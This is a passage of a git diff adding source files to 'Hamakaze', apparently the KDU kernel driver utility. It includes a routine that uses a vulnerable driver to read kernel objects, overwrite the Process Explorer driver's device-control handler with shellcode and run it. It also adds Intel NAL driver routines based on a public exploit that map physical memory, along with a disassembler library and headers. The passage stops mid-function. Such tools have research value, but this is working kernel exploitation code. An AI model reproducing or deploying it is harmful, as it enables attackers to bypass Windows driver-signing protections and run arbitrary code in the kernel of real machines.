printf_s("[!] Could not read FILE_OBJECT at 0x%llX\r\n", objectAddress); + break; + } + + printf_s("[+] Reading DEVICE_OBJECT at 0x%p\r\n", fileObject.DeviceObject); + + RtlSecureZeroMemory(&deviceObject, sizeof(deviceObject)); + + if (!KDUReadKernelVM(Context, + (ULONG_PTR)fileObject.DeviceObject, + &deviceObject, + sizeof(DEVICE_OBJECT))) + { + printf_s("[!] Could not read DEVICE_OBJECT at 0x%p\r\n", fileObject.DeviceObject); + break; + } + + printf_s("[+] Reading DRIVER_OBJECT at 0x%p\r\n", deviceObject.DriverObject); + + RtlSecureZeroMemory(&driverObject, sizeof(driverObject)); + + if (!KDUReadKernelVM(Context, + (ULONG_PTR)deviceObject.DriverObject, + &driverObject, + sizeof(DRIVER_OBJECT))) + { + printf_s("[!] Could not read DRIVER_OBJECT at 0x%p\r\n", deviceObject.DriverObject); + break; + } + + // + // ProcExp handle no longer needed, can be closed. + // + NtClose(victimDeviceHandle); + victimDeviceHandle = NULL; + + targetAddress = (ULONG_PTR)driverObject.MajorFunction[IRP_MJ_DEVICE_CONTROL]; + + if (!KDUCheckMemoryLayout(Context, targetAddress)) { + + printf_s("[!] Physical address is not within same/next page, reload victim driver\r\n"); + retryCount += 1; + if (retryCount > maxRetry) { + printf_s("[!] Too many reloads, abort\r\n"); + break; + } + goto Reload; + + } + + printf_s("[+] Victim IRP_MJ_DEVICE_CONTROL 0x%llX\r\n", targetAddress); + printf_s("[+] Victim DriverUnload 0x%p\r\n", driverObject.DriverUnload); + + bSuccess = TRUE; + + } while (FALSE); + + } + + // + // Ensure ProcExp handle is closed. + // + if (victimDeviceHandle) { + NtClose(victimDeviceHandle); + victimDeviceHandle = NULL; + } + + if (bSuccess) { + + if (KDUSetupShellCode(Context, lpMapDriverFileName)) { + + // + // Write shellcode to driver. + // + if (!prov->Callbacks.WriteKernelVM(Context->DeviceHandle, + targetAddress, + g_ShellCode, sizeof(SHELLCODE))) + { + printf_s("[!] Error writing shellcode to the target driver, abort\r\n"); + } + else { + + printf_s("[+] Driver IRP_MJ_DEVICE_CONTROL handler code modified\r\n"); + + // + // Run shellcode. + // Target has the same handlers for IRP_MJ_CREATE/CLOSE/DEVICE_CONTROL + // + printf_s("[+] Run shellcode\r\n"); + Sleep(1000); + supOpenDriver((LPWSTR)PROCEXP152, &victimDeviceHandle); + Sleep(1000); + } + } + else { + printf_s("[!] Error while building shellcode, abort\r\n"); + } + } + else { + printf_s("[!] Error preloading victim driver, abort\r\n"); + } + + if (victimDeviceHandle) + NtClose(victimDeviceHandle); + + if (VictimRelease((LPWSTR)PROCEXP152)) { + printf_s("[+] Victim driver unloaded\r\n"); + } + + printf_s("[<] Leaving %s\r\n", __FUNCTION__); + + return FALSE; +} diff --git a/Source/Hamakaze/drvmap.h b/Source/Hamakaze/drvmap.h new file mode 100644 index 0000000..d27075a --- /dev/null +++ b/Source/Hamakaze/drvmap.h @@ -0,0 +1,74 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2020 +* +* TITLE: DRVMAP.H +* +* VERSION: 1.00 +* +* DATE: 07 Jan 2020 +* +* Prototypes and definitions for driver mapping. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ +#pragma once + +typedef ULONG(NTAPI* pfnDbgPrint)( + _In_ PCHAR Format, + ...); + +typedef PVOID(NTAPI* pfnExAllocatePool)( + _In_ POOL_TYPE PoolType, + _In_ SIZE_T NumberOfBytes); + +typedef VOID(NTAPI* pfnExFreePool)( + _In_ PVOID P); + +typedef NTSTATUS(NTAPI* pfnPsCreateSystemThread)( + _Out_ PHANDLE ThreadHandle, + _In_ ULONG DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ HANDLE ProcessHandle, + _Out_opt_ PCLIENT_ID ClientId, + _In_ PKSTART_ROUTINE StartRoutine, + _In_opt_ PVOID StartContext); + +typedef NTSTATUS(NTAPI* pfnZwClose)( + _In_ HANDLE Handle); + +typedef NTSTATUS(NTAPI* pfnZwOpenKey)( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes); + +typedef NTSTATUS(NTAPI* pfnZwQueryValueKey)( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + _Out_opt_ PVOID KeyValueInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength); + +typedef VOID(NTAPI* pfnIofCompleteRequest)( + _In_ VOID* Irp, + _In_ CCHAR PriorityBoost); + +typedef struct _FUNC_TABLE { + pfnExAllocatePool ExAllocatePool; + pfnExFreePool ExFreePool; + pfnPsCreateSystemThread PsCreateSystemThread; + pfnIofCompleteRequest IofCompleteRequest; + pfnZwClose ZwClose; + pfnZwOpenKey ZwOpenKey; + pfnZwQueryValueKey ZwQueryValueKey; + pfnDbgPrint DbgPrint; +} FUNC_TABLE, * PFUNC_TABLE; + +BOOL KDUMapDriver( + _In_ PKDU_CONTEXT Context, + _In_ LPWSTR lpMapDriverFileName); diff --git a/Source/Hamakaze/global.h b/Source/Hamakaze/global.h new file mode 100644 index 0000000..b02af31 --- /dev/null +++ b/Source/Hamakaze/global.h @@ -0,0 +1,62 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2020 +* +* TITLE: GLOBAL.H +* +* VERSION: 1.00 +* +* DATE: 24 Jan 2020 +* +* Common include header file. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ + +#pragma once + +#if !defined UNICODE +#error ANSI build is not supported +#endif + +// +// Ignored warnings +// +#pragma warning(disable: 4005) // macro redefinition +#pragma warning(disable: 4091) // 'typedef ': ignored on left of '%s' when no variable is declared +#pragma warning(disable: 4201) // nameless struct/union +#pragma warning(disable: 26812) // Prefer 'enum class' over 'enum' + +#include +#include +#include +#include +#include "ntdll/ntos.h" +#include "resource.h" + +#if defined(__cplusplus) +extern "C" { +#endif + +#include "hde/hde64.h" +#include "minirtl/minirtl.h" +#include "minirtl/rtltypes.h" +#include "minirtl/cmdline.h" +#include "minirtl/_filename.h" + +#ifdef __cplusplus +} +#endif + +#include "consts.h" +#include "sup.h" +#include "compress.h" +#include "kduprov.h" +#include "drvmap.h" +#include "ps.h" +#include "victim.h" +#include "pagewalk.h" diff --git a/Source/Hamakaze/hde/hde64.c b/Source/Hamakaze/hde/hde64.c new file mode 100644 index 0000000..76e8a51 --- /dev/null +++ b/Source/Hamakaze/hde/hde64.c @@ -0,0 +1,338 @@ +/* + * Hacker Disassembler Engine 64 C + * Copyright (c) 2008-2009, Vyacheslav Patkov. + * All rights reserved. + * + */ + +#include "hde64.h" +#include "table64.h" + +#pragma warning(push) +#pragma warning(disable:4701) +#pragma warning(disable:4706) + +unsigned int hde64_disasm(const void *code, hde64s *hs) +{ + uint8_t x, c = 0, *p = (uint8_t *)code, cflags, opcode, pref = 0; + uint8_t *ht = hde64_table, m_mod, m_reg, m_rm, disp_size = 0; + uint8_t op64 = 0; + + // Avoid using memset to reduce the footprint. +#ifndef _MSC_VER + memset((LPBYTE)hs, 0, sizeof(hde64s)); +#else + __stosb((LPBYTE)hs, 0, sizeof(hde64s)); +#endif + + for (x = 16; x; x--) + switch (c = *p++) { + case 0xf3: + hs->p_rep = c; + pref |= PRE_F3; + break; + case 0xf2: + hs->p_rep = c; + pref |= PRE_F2; + break; + case 0xf0: + hs->p_lock = c; + pref |= PRE_LOCK; + break; + case 0x26: case 0x2e: case 0x36: + case 0x3e: case 0x64: case 0x65: + hs->p_seg = c; + pref |= PRE_SEG; + break; + case 0x66: + hs->p_66 = c; + pref |= PRE_66; + break; + case 0x67: + hs->p_67 = c; + pref |= PRE_67; + break; + default: + goto pref_done; + } + pref_done: + + hs->flags = (uint32_t)pref << 23; + + if (!pref) + pref |= PRE_NONE; + + if ((c & 0xf0) == 0x40) { + hs->flags |= F_PREFIX_REX; + if ((hs->rex_w = (c & 0xf) >> 3) && (*p & 0xf8) == 0xb8) + op64++; + hs->rex_r = (c & 7) >> 2; + hs->rex_x = (c & 3) >> 1; + hs->rex_b = c & 1; + if (((c = *p++) & 0xf0) == 0x40) { + opcode = c; + goto error_opcode; + } + } + + if ((hs->opcode = c) == 0x0f) { + hs->opcode2 = c = *p++; + ht += DELTA_OPCODES; + } else if (c >= 0xa0 && c <= 0xa3) { + op64++; + if (pref & PRE_67) + pref |= PRE_66; + else + pref &= ~PRE_66; + } + + opcode = c; + cflags = ht[ht[opcode / 4] + (opcode % 4)]; + + if (cflags == C_ERROR) { + error_opcode: + hs->flags |= F_ERROR | F_ERROR_OPCODE; + cflags = 0; + if ((opcode & -3) == 0x24) + cflags++; + } + + x = 0; + if (cflags & C_GROUP) { + uint16_t t; + t = *(uint16_t *)(ht + (cflags & 0x7f)); + cflags = (uint8_t)t; + x = (uint8_t)(t >> 8); + } + + if (hs->opcode2) { + ht = hde64_table + DELTA_PREFIXES; + if (ht[ht[opcode / 4] + (opcode % 4)] & pref) + hs->flags |= F_ERROR | F_ERROR_OPCODE; + } + + if (cflags & C_MODRM) { + hs->flags |= F_MODRM; + hs->modrm = c = *p++; + hs->modrm_mod = m_mod = c >> 6; + hs->modrm_rm = m_rm = c & 7; + hs->modrm_reg = m_reg = (c & 0x3f) >> 3; + + if (x && ((x << m_reg) & 0x80)) + hs->flags |= F_ERROR | F_ERROR_OPCODE; + + if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) { + uint8_t t = opcode - 0xd9; + if (m_mod == 3) { + ht = hde64_table + DELTA_FPU_MODRM + t*8; + t = ht[m_reg] << m_rm; + } else { + ht = hde64_table + DELTA_FPU_REG; + t = ht[t] << m_reg; + } + if (t & 0x80) + hs->flags |= F_ERROR | F_ERROR_OPCODE; + } + + if (pref & PRE_LOCK) { + if (m_mod == 3) { + hs->flags |= F_ERROR | F_ERROR_LOCK; + } else { + uint8_t *table_end, op = opcode; + if (hs->opcode2) { + ht = hde64_table + DELTA_OP2_LOCK_OK; + table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK; + } else { + ht = hde64_table + DELTA_OP_LOCK_OK; + table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK; + op &= -2; + } + for (; ht != table_end; ht++) + if (*ht++ == op) { + if (!((*ht << m_reg) & 0x80)) + goto no_lock_error; + else + break; + } + hs->flags |= F_ERROR | F_ERROR_LOCK; + no_lock_error: + ; + } + } + + if (hs->opcode2) { + switch (opcode) { + case 0x20: case 0x22: + m_mod = 3; + if (m_reg > 4 || m_reg == 1) + goto error_operand; + else + goto no_error_operand; + case 0x21: case 0x23: + m_mod = 3; + if (m_reg == 4 || m_reg == 5) + goto error_operand; + else + goto no_error_operand; + } + } else { + switch (opcode) { + case 0x8c: + if (m_reg > 5) + goto error_operand; + else + goto no_error_operand; + case 0x8e: + if (m_reg == 1 || m_reg > 5) + goto error_operand; + else + goto no_error_operand; + } + } + + if (m_mod == 3) { + uint8_t *table_end; + if (hs->opcode2) { + ht = hde64_table + DELTA_OP2_ONLY_MEM; + table_end = ht + sizeof(hde64_table) - DELTA_OP2_ONLY_MEM; + } else { + ht = hde64_table + DELTA_OP_ONLY_MEM; + table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM; + } + for (; ht != table_end; ht += 2) + if (*ht++ == opcode) { + if (*ht++ & pref && !((*ht << m_reg) & 0x80)) + goto error_operand; + else + break; + } + goto no_error_operand; + } else if (hs->opcode2) { + switch (opcode) { + case 0x50: case 0xd7: case 0xf7: + if (pref & (PRE_NONE | PRE_66)) + goto error_operand; + break; + case 0xd6: + if (pref & (PRE_F2 | PRE_F3)) + goto error_operand; + break; + case 0xc5: + goto error_operand; + } + goto no_error_operand; + } else + goto no_error_operand; + + error_operand: + hs->flags |= F_ERROR | F_ERROR_OPERAND; + no_error_operand: + + c = *p++; + if (m_reg <= 1) { + if (opcode == 0xf6) + cflags |= C_IMM8; + else if (opcode == 0xf7) + cflags |= C_IMM_P66; + } + + switch (m_mod) { + case 0: + if (pref & PRE_67) { + if (m_rm == 6) + disp_size = 2; + } else + if (m_rm == 5) + disp_size = 4; + break; + case 1: + disp_size = 1; + break; + case 2: + disp_size = 2; + if (!(pref & PRE_67)) + disp_size <<= 1; + } + + if (m_mod != 3 && m_rm == 4) { + hs->flags |= F_SIB; + p++; + hs->sib = c; + hs->sib_scale = c >> 6; + hs->sib_index = (c & 0x3f) >> 3; + if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1)) + disp_size = 4; + } + + p--; + switch (disp_size) { + case 1: + hs->flags |= F_DISP8; + hs->disp.disp8 = *p; + break; + case 2: + hs->flags |= F_DISP16; + hs->disp.disp16 = *(uint16_t *)p; + break; + case 4: + hs->flags |= F_DISP32; + hs->disp.disp32 = *(uint32_t *)p; + } + p += disp_size; + } else if (pref & PRE_LOCK) + hs->flags |= F_ERROR | F_ERROR_LOCK; + + if (cflags & C_IMM_P66) { + if (cflags & C_REL32) { + if (pref & PRE_66) { + hs->flags |= F_IMM16 | F_RELATIVE; + hs->imm.imm16 = *(uint16_t *)p; + p += 2; + goto disasm_done; + } + goto rel32_ok; + } + if (op64) { + hs->flags |= F_IMM64; + hs->imm.imm64 = *(uint64_t *)p; + p += 8; + } else if (!(pref & PRE_66)) { + hs->flags |= F_IMM32; + hs->imm.imm32 = *(uint32_t *)p; + p += 4; + } else + goto imm16_ok; + } + + + if (cflags & C_IMM16) { + imm16_ok: + hs->flags |= F_IMM16; + hs->imm.imm16 = *(uint16_t *)p; + p += 2; + } + if (cflags & C_IMM8) { + hs->flags |= F_IMM8; + hs->imm.imm8 = *p++; + } + + if (cflags & C_REL32) { + rel32_ok: + hs->flags |= F_IMM32 | F_RELATIVE; + hs->imm.imm32 = *(uint32_t *)p; + p += 4; + } else if (cflags & C_REL8) { + hs->flags |= F_IMM8 | F_RELATIVE; + hs->imm.imm8 = *p++; + } + + disasm_done: + + if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) { + hs->flags |= F_ERROR | F_ERROR_LENGTH; + hs->len = 15; + } + + return (unsigned int)hs->len; +} +#pragma warning(pop) diff --git a/Source/Hamakaze/hde/hde64.h b/Source/Hamakaze/hde/hde64.h new file mode 100644 index 0000000..ecbf4df --- /dev/null +++ b/Source/Hamakaze/hde/hde64.h @@ -0,0 +1,112 @@ +/* + * Hacker Disassembler Engine 64 + * Copyright (c) 2008-2009, Vyacheslav Patkov. + * All rights reserved. + * + * hde64.h: C/C++ header file + * + */ + +#ifndef _HDE64_H_ +#define _HDE64_H_ + +/* stdint.h - C99 standard header + * http://en.wikipedia.org/wiki/stdint.h + * + * if your compiler doesn't contain "stdint.h" header (for + * example, Microsoft Visual C++), you can download file: + * http://www.azillionmonkeys.com/qed/pstdint.h + * and change next line to: + * #include "pstdint.h" + */ +#include "pstdint.h" + +#define F_MODRM 0x00000001 +#define F_SIB 0x00000002 +#define F_IMM8 0x00000004 +#define F_IMM16 0x00000008 +#define F_IMM32 0x00000010 +#define F_IMM64 0x00000020 +#define F_DISP8 0x00000040 +#define F_DISP16 0x00000080 +#define F_DISP32 0x00000100 +#define F_RELATIVE 0x00000200 +#define F_ERROR 0x00001000 +#define F_ERROR_OPCODE 0x00002000 +#define F_ERROR_LENGTH 0x00004000 +#define F_ERROR_LOCK 0x00008000 +#define F_ERROR_OPERAND 0x00010000 +#define F_PREFIX_REPNZ 0x01000000 +#define F_PREFIX_REPX 0x02000000 +#define F_PREFIX_REP 0x03000000 +#define F_PREFIX_66 0x04000000 +#define F_PREFIX_67 0x08000000 +#define F_PREFIX_LOCK 0x10000000 +#define F_PREFIX_SEG 0x20000000 +#define F_PREFIX_REX 0x40000000 +#define F_PREFIX_ANY 0x7f000000 + +#define PREFIX_SEGMENT_CS 0x2e +#define PREFIX_SEGMENT_SS 0x36 +#define PREFIX_SEGMENT_DS 0x3e +#define PREFIX_SEGMENT_ES 0x26 +#define PREFIX_SEGMENT_FS 0x64 +#define PREFIX_SEGMENT_GS 0x65 +#define PREFIX_LOCK 0xf0 +#define PREFIX_REPNZ 0xf2 +#define PREFIX_REPX 0xf3 +#define PREFIX_OPERAND_SIZE 0x66 +#define PREFIX_ADDRESS_SIZE 0x67 + +#pragma pack(push,1) + +typedef struct { + uint8_t len; + uint8_t p_rep; + uint8_t p_lock; + uint8_t p_seg; + uint8_t p_66; + uint8_t p_67; + uint8_t rex; + uint8_t rex_w; + uint8_t rex_r; + uint8_t rex_x; + uint8_t rex_b; + uint8_t opcode; + uint8_t opcode2; + uint8_t modrm; + uint8_t modrm_mod; + uint8_t modrm_reg; + uint8_t modrm_rm; + uint8_t sib; + uint8_t sib_scale; + uint8_t sib_index; + uint8_t sib_base; + union { + uint8_t imm8; + uint16_t imm16; + uint32_t imm32; + uint64_t imm64; + } imm; + union { + uint8_t disp8; + uint16_t disp16; + uint32_t disp32; + } disp; + uint32_t flags; +} hde64s; + +#pragma pack(pop) + +#ifdef __cplusplus +extern "C" { +#endif + +/* __cdecl */ +unsigned int hde64_disasm(const void *code, hde64s *hs); + +#ifdef __cplusplus +} +#endif + +#endif /* _HDE64_H_ */ diff --git a/Source/Hamakaze/hde/pstdint.h b/Source/Hamakaze/hde/pstdint.h new file mode 100644 index 0000000..5b7c5f0 --- /dev/null +++ b/Source/Hamakaze/hde/pstdint.h @@ -0,0 +1,39 @@ +/* + * MinHook - The Minimalistic API Hooking Library for x64/x86 + * Copyright (C) 2009-2015 Tsuda Kageyu. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +#pragma once + +#include + +// Integer types for HDE. +typedef INT8 int8_t; +typedef INT16 int16_t; +typedef INT32 int32_t; +typedef INT64 int64_t; +typedef UINT8 uint8_t; +typedef UINT16 uint16_t; +typedef UINT32 uint32_t; +typedef UINT64 uint64_t; diff --git a/Source/Hamakaze/hde/table64.h b/Source/Hamakaze/hde/table64.h new file mode 100644 index 0000000..01d4541 --- /dev/null +++ b/Source/Hamakaze/hde/table64.h @@ -0,0 +1,74 @@ +/* + * Hacker Disassembler Engine 64 C + * Copyright (c) 2008-2009, Vyacheslav Patkov. + * All rights reserved. + * + */ + +#define C_NONE 0x00 +#define C_MODRM 0x01 +#define C_IMM8 0x02 +#define C_IMM16 0x04 +#define C_IMM_P66 0x10 +#define C_REL8 0x20 +#define C_REL32 0x40 +#define C_GROUP 0x80 +#define C_ERROR 0xff + +#define PRE_ANY 0x00 +#define PRE_NONE 0x01 +#define PRE_F2 0x02 +#define PRE_F3 0x04 +#define PRE_66 0x08 +#define PRE_67 0x10 +#define PRE_LOCK 0x20 +#define PRE_SEG 0x40 +#define PRE_ALL 0xff + +#define DELTA_OPCODES 0x4a +#define DELTA_FPU_REG 0xfd +#define DELTA_FPU_MODRM 0x104 +#define DELTA_PREFIXES 0x13c +#define DELTA_OP_LOCK_OK 0x1ae +#define DELTA_OP2_LOCK_OK 0x1c6 +#define DELTA_OP_ONLY_MEM 0x1d8 +#define DELTA_OP2_ONLY_MEM 0x1e7 + +unsigned char hde64_table[] = { + 0xa5,0xaa,0xa5,0xb8,0xa5,0xaa,0xa5,0xaa,0xa5,0xb8,0xa5,0xb8,0xa5,0xb8,0xa5, + 0xb8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xac,0xc0,0xcc,0xc0,0xa1,0xa1, + 0xa1,0xa1,0xb1,0xa5,0xa5,0xa6,0xc0,0xc0,0xd7,0xda,0xe0,0xc0,0xe4,0xc0,0xea, + 0xea,0xe0,0xe0,0x98,0xc8,0xee,0xf1,0xa5,0xd3,0xa5,0xa5,0xa1,0xea,0x9e,0xc0, + 0xc0,0xc2,0xc0,0xe6,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0xab, + 0x8b,0x90,0x64,0x5b,0x5b,0x5b,0x5b,0x5b,0x92,0x5b,0x5b,0x76,0x90,0x92,0x92, + 0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x6a,0x73,0x90, + 0x5b,0x52,0x52,0x52,0x52,0x5b,0x5b,0x5b,0x5b,0x77,0x7c,0x77,0x85,0x5b,0x5b, + 0x70,0x5b,0x7a,0xaf,0x76,0x76,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b, + 0x5b,0x5b,0x86,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xd5,0x03,0xcc,0x01,0xbc, + 0x03,0xf0,0x03,0x03,0x04,0x00,0x50,0x50,0x50,0x50,0xff,0x20,0x20,0x20,0x20, + 0x01,0x01,0x01,0x01,0xc4,0x02,0x10,0xff,0xff,0xff,0x01,0x00,0x03,0x11,0xff, + 0x03,0xc4,0xc6,0xc8,0x02,0x10,0x00,0xff,0xcc,0x01,0x01,0x01,0x00,0x00,0x00, + 0x00,0x01,0x01,0x03,0x01,0xff,0xff,0xc0,0xc2,0x10,0x11,0x02,0x03,0x01,0x01, + 0x01,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0x00,0x00,0xff,0xff,0xff,0xff,0x10, + 0x10,0x10,0x10,0x02,0x10,0x00,0x00,0xc6,0xc8,0x02,0x02,0x02,0x02,0x06,0x00, + 0x04,0x00,0x02,0xff,0x00,0xc0,0xc2,0x01,0x01,0x03,0x03,0x03,0xca,0x40,0x00, + 0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,0x00,0x00,0x00, + 0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0xff,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff, + 0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0x00,0x00, + 0xff,0x40,0x40,0x40,0x40,0x41,0x49,0x40,0x40,0x40,0x40,0x4c,0x42,0x40,0x40, + 0x40,0x40,0x40,0x40,0x40,0x40,0x4f,0x44,0x53,0x40,0x40,0x40,0x44,0x57,0x43, + 0x5c,0x40,0x60,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40, + 0x40,0x40,0x64,0x66,0x6e,0x6b,0x40,0x40,0x6a,0x46,0x40,0x40,0x44,0x46,0x40, + 0x40,0x5b,0x44,0x40,0x40,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x06,0x01,0x06, + 0x06,0x02,0x06,0x06,0x00,0x06,0x00,0x0a,0x0a,0x00,0x00,0x00,0x02,0x07,0x07, + 0x06,0x02,0x0d,0x06,0x06,0x06,0x0e,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04, + 0x04,0x04,0x05,0x06,0x06,0x06,0x00,0x00,0x00,0x0e,0x00,0x00,0x08,0x00,0x10, + 0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,0x86,0x00, + 0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,0xf8,0xbb, + 0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,0xc4,0xff, + 0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,0x13,0x09, + 0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,0xb2,0xff, + 0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,0xe7,0x08, + 0x00,0xf0,0x02,0x00 +}; diff --git a/Source/Hamakaze/idrv/nal.cpp b/Source/Hamakaze/idrv/nal.cpp new file mode 100644 index 0000000..a628eed --- /dev/null +++ b/Source/Hamakaze/idrv/nal.cpp @@ -0,0 +1,385 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2020 +* +* TITLE: NAL.CPP +* +* VERSION: 1.00 +* +* DATE: 07 Jan 2020 +* +* Intel Network Adapter iQVM64 driver routines. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ + +#include "global.h" +#include "idrv/nal.h" + +// +// Based on https://www.exploit-db.com/exploits/36392 +// + +/* +* NalCallDriver +* +* Purpose: +* +* Call Intel Nal driver. +* +*/ +BOOL NalCallDriver( + _In_ HANDLE DeviceHandle, + _In_ PVOID Buffer, + _In_ ULONG Size) +{ + BOOL bResult = FALSE; + IO_STATUS_BLOCK ioStatus; + + NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle, + NULL, + NULL, + NULL, + &ioStatus, + IOCTL_NAL_MANAGE, + Buffer, + Size, + NULL, + 0); + + bResult = NT_SUCCESS(ntStatus); + SetLastError(RtlNtStatusToDosError(ntStatus)); + return bResult; +} + +/* +* NalMapAddressEx +* +* Purpose: +* +* Call MmMapIoSpace via Nal driver, return kernel mode virtual address. +* +*/ +BOOL NalMapAddressEx( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR PhysicalAddress, + _Out_ ULONG_PTR* VirtualAddress, + _In_ ULONG NumberOfBytes) +{ + BOOL bResult = FALSE; + DWORD dwError = ERROR_SUCCESS; + NAL_MAP_IO_SPACE request; + + if (VirtualAddress) + *VirtualAddress = 0; + else + return FALSE; + + RtlSecureZeroMemory(&request, sizeof(request)); + request.Header.FunctionId = NAL_FUNCID_MAPIOSPACE; + request.PhysicalAddress = PhysicalAddress; + request.NumberOfBytes = NumberOfBytes; + + if (NalCallDriver(DeviceHandle, &request, sizeof(request))) { + if (request.OpResult == 0) { + *VirtualAddress = request.VirtualAddress; + bResult = TRUE; + } + else { + dwError = ERROR_INTERNAL_ERROR; + } + } + else { + dwError = GetLastError(); + } + SetLastError(dwError); + return bResult; +} + +/* +* NalUnmapAddress +* +* Purpose: +* +* Call MmUnmapIoSpace via Nal driver. +* +*/ +BOOL NalUnmapAddress( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR VirtualAddress, + _In_ ULONG NumberOfBytes) +{ + BOOL bResult = FALSE; + DWORD dwError = ERROR_SUCCESS; + NAL_UNMAP_IO_SPACE request; + + RtlSecureZeroMemory(&request, sizeof(request)); + request.Header.FunctionId = NAL_FUNCID_UNMAPIOSPACE; + request.VirtualAddress = VirtualAddress; + request.NumberOfBytes = NumberOfBytes; + + if (NalCallDriver(DeviceHandle, &request, sizeof(request))) { + bResult = (request.OpResult == 0); + if (bResult == FALSE) + dwError = ERROR_NONE_MAPPED; + } + else { + dwError = GetLastError(); + } + + SetLastError(dwError); + return bResult; +} + +/* +* NalVirtualToPhysical +* +* Purpose: +* +* Translate virtual address to the physical. +* +* N.B. +* Call driver Intel Nal driver MmGetVirtualForPhysical switch case. +* +*/ +BOOL NalVirtualToPhysical( + _In_ HANDLE DeviceHandle, + _In_ ULONG_PTR VirtualAddress, + _Out_ ULONG_PTR* PhysicalAddress) +{ + BOOL bResult = FALSE; + DWORD dwError = ERROR_SUCCESS; + NAL_GET_PHYSICAL_ADDRESS request; + + if (PhysicalAddress) + *PhysicalAddress = 0; + else { + SetLastError(ERROR_INVALID_PARAMETER); + return FALSE; + } + + RtlSecureZeroMemory(&request, sizeof(request)); + request.Header.FunctionId = NAL_FUNCID_VIRTUALTOPHYSCAL; + request.VirtualAddress = VirtualAddress; + + if (NalCallDriver(DeviceHandle, &request, sizeof(request))) { + *PhysicalAddress = request.PhysicalAddress; + bResult = TRUE; + } + else { + dwError = 